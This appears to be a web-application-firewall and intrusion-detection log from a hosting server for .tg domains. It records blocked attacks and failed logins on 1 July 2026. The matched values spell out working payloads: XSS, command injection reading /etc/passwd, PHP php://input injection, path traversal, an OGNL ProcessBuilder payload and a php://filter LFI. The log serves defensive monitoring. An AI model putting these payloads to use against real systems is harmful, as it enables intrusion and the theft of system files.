plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<script>alert(document.domain)</script>||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.57.215
country_id: 2921044
domain: mail.cfmi.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.cfmi.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:type||MV:'|cat /etc/passwd||'||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:-d allow_url_include=on -d auto_prepend_file=php://input||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:-d allow_url_include=on -d auto_prepend_file=php://input||MVN:MATCHED_VAR||WPU:||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 22:29:18 +0000] info [cpaneld] 103.65.237.55 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.194.5.9
country_id: 1643084
domain: belali.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.belali.tg||ServerName:belali.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f8a591ba5a9229b17d92b2a92fb17f79da73a6c3||Title:0xf726716f||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350925
name: IM360 WAF: JSF path traversal (CVE-2020-6950)
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF: JSF path traversal (CVE-2020-6950)||MV:/costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350312
name: IM360 WAF: Block system file path in request
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF: Block system file path in request||MVN:ARGS:sl||MV:../../../../../../../etc/passwd\x00||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77065534
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:name||MV:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{\"cat\", \"/etc/passwd\"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}\r\n||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:31:00 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.194.5.9
country_id: 1643084
domain: belali.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.belali.tg||ServerName:belali.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:059b4128ccfe8c2006e8655d920ee1d1ce00a090||Title:0x76516a72||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:31:12 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 193.167.245.117
country_id: 660013
description:
Denial of Service (DoS) attack was discovered from 193.167.245.117: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.117.172
country_id: 6252001
description:
[2026-07-01 22:32:25 +0000] info [cpaneld] 23.234.117.172 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.182.59.221
country_id: 1814991
description:
2026-07-01 22:33:07 dovecot_login authenticator failed for H=(cfakcl) [123.182.59.221]:57365: 535 Incorrect authentication data (set_id=it)


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.131.195.226
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:administratoir||User:elmkvzcm||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.188.173
country_id: 732800
description:
[2026-07-01 22:35:49 +0000] info [cpaneld] 146.70.188.173 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 45.131.195.226
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:elmkvzcm||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.188.173
country_id: 732800
description:
[2026-07-01 22:36:46 +0000] info [cpaneld] 146.70.188.173 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.188.173
country_id: 732800
description:
[2026-07-01 22:37:16 +0000] info [cpaneld] 146.70.188.173 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.182.28.149
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/10/IMG-20211015-WA0156.jpg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)
abuser: 45.131.195.226
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)||MV:wp-system||MVN:ARGS:log||WPU:wp-system||User:elmkvzcm||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.2.109
country_id: 241170
description:
31.134.2.109 - - [01/Jul/2026:22:38:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9530776&pdata=https%3A%2F%2Fwww.matwtogo.org%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782945534 HTTP/1.1" 302 0 www.matwtogo.org "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.2.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.2.109
country_id: 241170
description:
[2026-07-01 22:38:56 +0000] info [cpaneld] 31.134.2.109 - rqgqpxof "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.187.224.197
country_id: 3996063
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/gbagba-2023-apotheose HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:38:02 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.154
country_id: 6252001
description:
Jul  1 22:39:48 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.154
country_id: 6252001
description:
2026-07-01 22:39:50 dovecot_plain authenticator failed for H=(sg6v344ej5y6hpha2rgloa483d4j) [23.129.64.154]:22591: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-07-01 22:41:00 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:42908: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 135.136.19.30
country_id: 2921044
description:
[2026-07-01 22:44:25 +0000] info [cpaneld] 135.136.19.30 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:44:45 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 137.83.179.154
country_id: 2635167
description:
Denial of Service (DoS) attack was discovered from 137.83.179.154: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.28.240
country_id: 6251999
domain: www.letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.252.28.240||TA:104.252.28.240||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:51:53 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:52:01 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [01/Jul/2026:22:52:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170197&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782946335 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 188.122.68.216
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 188.122.68.216: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 188.122.68.217
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 188.122.68.217: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 22:54:46 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77141054
name: IM360 WAF: LFI vlnerability in dompdf
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF: LFI vlnerability in dompdf||RSV:8.22||T:APACHE||MVN:ARGS:input_file||MV:php://filter/resource=/etc/passwd||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 199.96.164.137
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:199.96.164.137||TA:199.96.164.137||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.163.6
country_id: 2363686
description:
[2026-07-01 22:58:02 +0000] info [webmaild] 102.64.163.6 - gndong@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 22:58:23 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 76.232.55.70
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 76.232.55.70: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.63.100.67
country_id: 2017370
description:
[2026-07-01 23:01:10 +0000] info [cpaneld] 92.63.100.67 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.240.225.86
country_id: 6251999
description:
[2026-07-01 23:01:17 +0000] info [cpaneld] 38.240.225.86 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.133.112.126
country_id: 6252001
description:
45.133.112.126 - - [01/Jul/2026:23:02:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946520&pdata=https%3A%2F%2Fmediatopnews.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782946952 HTTP/1.1" 302 0 mediatopnews.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.133.112.126


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.133.112.126
country_id: 6252001
description:
[2026-07-01 23:02:34 +0000] info [cpaneld] 45.133.112.126 - rskipvws "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.240.225.86
country_id: 6251999
description:
[2026-07-01 23:03:17 +0000] info [cpaneld] 38.240.225.86 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 23:05:28 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.17
country_id: 2542007
description:
Jul  1 23:06:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-07-01 23:06:07 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:53841: 535 Incorrect authentication data (set_id=feedback@soena.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [01/Jul/2026:23:08:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854506&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782947312 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.135.223.123
country_id: 3469034
description:
Jul  1 23:09:47 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.135.223.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.76.56.36
country_id: 2921044
description:
Jul  1 23:09:57 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.76.56.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.135.223.123
country_id: 3469034
description:
2026-07-01 23:09:49 dovecot_login authenticator failed for H=(host-80-95-38-14.dsl.sura.ru) [177.135.223.123]:57261: 535 Incorrect authentication data (set_id=master@sotranetogo.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.226.56.106
country_id: 2661886
description:
Jul  1 23:09:54 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.226.56.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-01 23:09:56 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se (102-220-158-10.simbafiber.co.zm) [83.226.56.106]:39556: 535 Incorrect authentication data (set_id=master)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.76.56.36
country_id: 2921044
description:
2026-07-01 23:09:59 dovecot_login authenticator failed for H=(mail.sbwgmbh.de) [144.76.56.36]:32970: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.76.56.36
country_id: 2921044
description:
Jul  1 23:10:04 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.76.56.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.76.56.36
country_id: 2921044
description:
2026-07-01 23:10:06 dovecot_login authenticator failed for H=(mail.sbwgmbh.de) [144.76.56.36]:33104: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 23:12:22 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.190.72.14
country_id: 3686110
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&cat=16 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.71.98.168
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=31 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.127.102.30
country_id: 2542007
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2023 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.57.60.131
country_id: 3895114
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1031 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.100.83.165
country_id: 1831722
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/tag/27/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.83.162.100
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1899 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [01/Jul/2026:23:14:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9528212&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782947644 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 23:19:05 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.195.46
country_id: 1880251
description:
43.172.195.46 - - [01/Jul/2026:23:22:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10064495&pdata=https%253A%252F%252Fwww.arse.tg%252Fespace-consommateurs%252Felectricite%252Fdroits-et-obligations%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782948169 HTTP/1.1" 404 561 www.arse.tg "https://www.arse.tg/espace-consommateurs/electricite/droits-et-obligations/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.195.46


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.81.32.122
country_id: 6252001
domain: civilemagazine.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.7632.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.182.99.92
country_id: 1655842
description:
Jul  1 23:25:25 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.182.99.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-07-01 23:25:27 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:46778: 535 Incorrect authentication data (set_id=newsletter@soena.tg)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.22||T:APACHE||SC:/home/ingertgsarl/public_html/_search||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 51.15.25.132
country_id: 2750405
domain: inger.tg
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.22||T:APACHE||SC:/home/ingertgsarl/public_html/_search||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.194.67.234
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/djama-en-fete-amadahome-stout-porter HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.132
country_id: 1880251
description:
43.173.180.132 - - [01/Jul/2026:23:27:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854761&pdata=https%253A%252F%252Fwww.arse.tg%252Felectricite-le-marche-regional-de-la-cedeao-en-juin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782948459 HTTP/1.1" 404 561 www.arse.tg "https://www.arse.tg/electricite-le-marche-regional-de-la-cedeao-en-juin/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.132


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [01/Jul/2026:23:30:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051678&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782948613 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.210.94
country_id: 1036973
description:
Jul  1 23:30:42 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.210.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-01 23:30:44 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [197.219.210.94]:45058: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.212.115.66
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:185.212.115.66||TA:185.212.115.66||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.59.50.214
country_id: 1605651
description:
[2026-07-01 23:34:14 +0000] info [whostmgrd] 156.59.50.214 - apluser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.34.120
country_id: 6252001
domain: djama.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/djama.snb.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 23:36:34 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.36.233.213
country_id: 102358
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/en/a-propos HTTP/1.1||RSV:8.22||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.217.141.0
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.217.141.0: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.217.141.2
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.217.141.2: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77217210
